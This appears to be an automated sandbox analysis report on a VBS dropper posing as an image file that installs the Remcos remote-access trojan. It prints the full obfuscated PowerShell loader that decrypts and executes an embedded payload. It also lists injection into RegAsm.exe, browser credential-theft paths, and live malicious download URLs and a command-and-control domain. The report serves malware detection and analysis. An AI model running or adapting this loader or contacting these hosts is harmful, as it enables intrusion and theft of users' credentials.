Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D1D008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

4_2_004120F7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00419627 mouse_event,

4_2_00419627

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni31045819173442745210226027008389cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cnigrotij99moqal/1g6m0vqbtznqapocvjw7wdfeq2dm55mrrbsdl2dtjprdivh4qro9tuowqh9vuvcwhvl7wdpldrvycvslbshkyytx3y3ec19qglil2fuyxvsxhxzrcpixvhsexgj/yljqnpmqcrbgfmq7b0x+qtytuccqp+5yobn4o6atlpw9w8pphk9ote6qu1yd4u4i80cm5mu98/pr4+8ywarzuake5pec8m1o4ku1/sjpgmlsinidtnfgago2s309dviv/fktnnaxjjczmr5wdbqltftgucrdeglc3qbcwcpmgt1xj0gl7ve4guk6hudnkbarvx6ie3asacjsl8un9o0ykkxzeyqfjy1x6z5q3ahy4xxler3uligmmxvv2bdi4uge5zccvgmzwalk6a/59+vdpw/eapul514/a+us8pix4u0jpotd/fdvcmst/nbk2n2paq0ehkxxmwpkzka1e+bupnxwxjrfwegtderivzkg4xcqmje/dz1h6bw6vof7gbpcwnfhiokyilaudebwjqtctwrqxdrxo3beibt1ie51b3ojwza1v/g2n2t89fwu55ux7+dxeif/o2omp2w4bjqawne2xjfpmi8ocuacfhimyruwu1jgqqlc20g1wdpryvchmu/6wcfwkazbxu2z+dc8hojblkiz6g02yryv03hspeacrw1wogownnx9nylir6qgyzdyysjqrzgvzx2ed0jey/v4hsh4zkwvsy3946yvczswufkgbbcphd+j/kkl82m6zpli5i+j/so2di9yy5g1lqwpa/f21tffwnalsnppwzdiwdaugc2jlgps7d7owmpgn6mz5cocsw9nz1uoebwavfax+orkq5t4pfhdwuspge1kn0mwhl53hcv2snx7vyyfspzt6nky++2xtpexo+wxcnj2u+k0vmb0gqkc/f4jauzcgmbcbllrbx1lnogrnjowqzo7twoygr6yzl5mr1kk76wixljptroolwxocba09by8f2v9p+azjutmbcghanfiiqjywdooeg0zffos+sgi2tr+sgif31xzrdk5tgul9q7whomauh7x8xesjy8ba38e/dcsfumybe7hv40jaxlgvj3rxji2pnkh2p8jplmkdconw2rmaifaywegmrghtt4k1orkvfzi3ejd4zgs2+rdvimcp4nnw8svqhy+eqiqx/8s1jdct0kgyff8i88r+i3xtrgou+2myson8qoxrya6lglkmbykehjvocpgxrcea62jbr2pobuyxqet4x+bgr9daceefuc/8bcku+6sz5tmxp6ohd/vz3jrhmzp4kn+c5qykbc0qhxnluox3at07cgywnetpccgfxkeyp13rjbbznm31t6eljuhqkbjgimzumgkiixsu8zm9izo0koxrbn8gap3xwegprlq==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni31045819173442745210226027008389cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cnigrotij99moqal/1g6m0vqbtznqapocvjw7wdfeq2dm55mrrbsdl2dtjprdivh4qro9tuowqh9vuvcwhvl7wdpldrvycvslbshkyytx3y3ec19qglil2fuyxvsxhxzrcpixvhsexgj/yljqnpmqcrbgfmq7b0x+qtytuccqp+5yobn4o6atlpw9w8pphk9ote6qu1yd4u4i80cm5mu98/pr4+8ywarzuake5pec8m1o4ku1/sjpgmlsinidtnfgago2s309dviv/fktnnaxjjczmr5wdbqltftgucrdeglc3qbcwcpmgt1xj0gl7ve4guk6hudnkbarvx6ie3asacjsl8un9o0ykkxzeyqfjy1x6z5q3ahy4xxler3uligmmxvv2bdi4uge5zccvgmzwalk6a/59+vdpw/eapul514/a+us8pix4u0jpotd/fdvcmst/nbk2n2paq0ehkxxmwpkzka1e+bupnxwxjrfwegtderivzkg4xcqmje/dz1h6bw6vof7gbpcwnfhiokyilaudebwjqtctwrqxdrxo3beibt1ie51b3ojwza1v/g2n2t89fwu55ux7+dxeif/o2omp2w4bjqawne2xjfpmi8ocuacfhimyruwu1jgqqlc20g1wdpryvchmu/6wcfwkazbxu2z+dc8hojblkiz6g02yryv03hspeacrw1wogownnx9nylir6qgyzdyysjqrzgvzx2ed0jey/v4hsh4zkwvsy3946yvczswufkgbbcphd+j/kkl82m6zpli5i+j/so2di9yy5g1lqwpa/f21tffwnalsnppwzdiwdaugc2jlgps7d7owmpgn6mz5cocsw9nz1uoebwavfax+orkq5t4pfhdwuspge1kn0mwhl53hcv2snx7vyyfspzt6nky++2xtpexo+wxcnj2u+k0vmb0gqkc/f4jauzcgmbcbllrbx1lnogrnjowqzo7twoygr6yzl5mr1kk76wixljptroolwxocba09by8f2v9p+azjutmbcghanfiiqjywdooeg0zffos+sgi2tr+sgif31xzrdk5tgul9q7whomauh7x8xesjy8ba38e/dcsfumybe7hv40jaxlgvj3rxji2pnkh2p8jplmkdconw2rmaifaywegmrghtt4k1orkvfzi3ejd4zgs2+rdvimcp4nnw8svqhy+eqiqx/8s1jdct0kgyff8i88r+i3xtrgou+2myson8qoxrya6lglkmbykehjvocpgxrcea62jbr2pobuyxqet4x+bgr9daceefuc/8bcku+6sz5tmxp6ohd/vz3jrhmzp4kn+c5qykbc0qhxnluox3at07cgywnetpccgfxkeyp13rjbbznm31t6eljuhqkbjgimzumgkiixsu8zm9izo0koxrbn8gap3xwegprlq==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep			Jump to behavior

Source: RegAsm.exe, 00000004.00000002.2488829216.000000000128F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegAsm.exe, 00000004.00000002.2488829216.000000000128F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager8n
Source: RegAsm.exe, 00000004.00000002.2488829216.000000000122B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.2488829216.000000000126C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: RegAsm.exe, 00000004.00000002.2488829216.000000000128F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager7n

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00434C52 cpuid

4_2_00434C52

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	4_2_0040F8D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	4_2_00452036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_004520C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	4_2_00452313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	4_2_00448404
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_0045243C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	4_2_00452543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_00452610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	4_2_004488ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	4_2_00451CD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	4_2_00451F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	4_2_00451F9B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00404F51 GetLocalTime,CreateEventA,CreateThread,

4_2_00404F51

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041B60D GetComputerNameExW,GetUserNameW,

4_2_0041B60D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

4_2_00449190

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2488829216.000000000122B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6048, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

4_2_0040BA12

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		4_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \key3.db		4_2_0040BB30

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-R2I0JW

Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2488829216.000000000122B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6048, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: cmd.exe

4_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	231 Scripting	Valid Accounts	1 Native API	231 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	13 Obfuscated Files or Information	111 Input Capture	1 Account Discovery	Remote Desktop Protocol	111 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	22 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 DLL Side-Loading	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	Login Hook	1 Windows Service	1 Bypass User Account Control	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	222 Process Injection	11 Masquerading	LSA Secrets	33 System Information Discovery	SSH	Keylogging	22 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	222 Process Injection	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
createactiveimagesbeautygirlfrnd.gIF.vbs	12%	Virustotal		Browse
createactiveimagesbeautygirlfrnd.gIF.vbs	4%	ReversingLabs	Win32.Dropper.Generic

Source	Detection	Scanner	Label	Link
geoplugin.net	1%	Virustotal		Browse
2024remcmon.duckdns.org	14%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://geoplugin.net/json.gp	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://198.46.176.133/Upload/vbs.jpeg	100%	Avira URL Cloud	malware
http://schemas.m0L	0%	Avira URL Cloud	safe
http://geoplugin.net/	0%	Avira URL Cloud	safe
http://192.3.176.154/xampp/glo/KBV.txt	100%	Avira URL Cloud	malware
http://geoplugin.net/json.gpl	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpw	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://geoplugin.net/	1%	Virustotal		Browse
http://geoplugin.net/json.gpl	0%	Virustotal		Browse
http://192.3.176.154	0%	Avira URL Cloud	safe
http://198.46.176.133	0%	Avira URL Cloud	safe
http://192.3.176.154/xampp/glo/KBV.txt	1%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://198.46.176.133/Upload/vbs.jpeg	19%	Virustotal		Browse
http://geoplugin.net/json.gpw	0%	Virustotal		Browse
http://geoplugin.net/json.gpSystem32	0%	Avira URL Cloud	safe
2024remcmon.duckdns.org	0%	Avira URL Cloud	safe
http://geoplugin.net/json.gpSystem32	1%	Virustotal		Browse
http://192.3.176.154	4%	Virustotal		Browse
2024remcmon.duckdns.org	14%	Virustotal		Browse
http://198.46.176.133	14%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geoplugin.net	178.237.33.50	true	false	1%, Virustotal, Browse	unknown
2024remcmon.duckdns.org	192.210.214.9	true	true	14%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	false	URL Reputation: safe	unknown
http://198.46.176.133/Upload/vbs.jpeg	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://192.3.176.154/xampp/glo/KBV.txt	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
2024remcmon.duckdns.org	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.m0L	wscript.exe, 00000000.00000003.1207989484.000001C7DAF7D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1208263755.000001C7DAF85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/	RegAsm.exe, 00000004.00000002.2488829216.000000000129E000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1264396222.00000246237E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
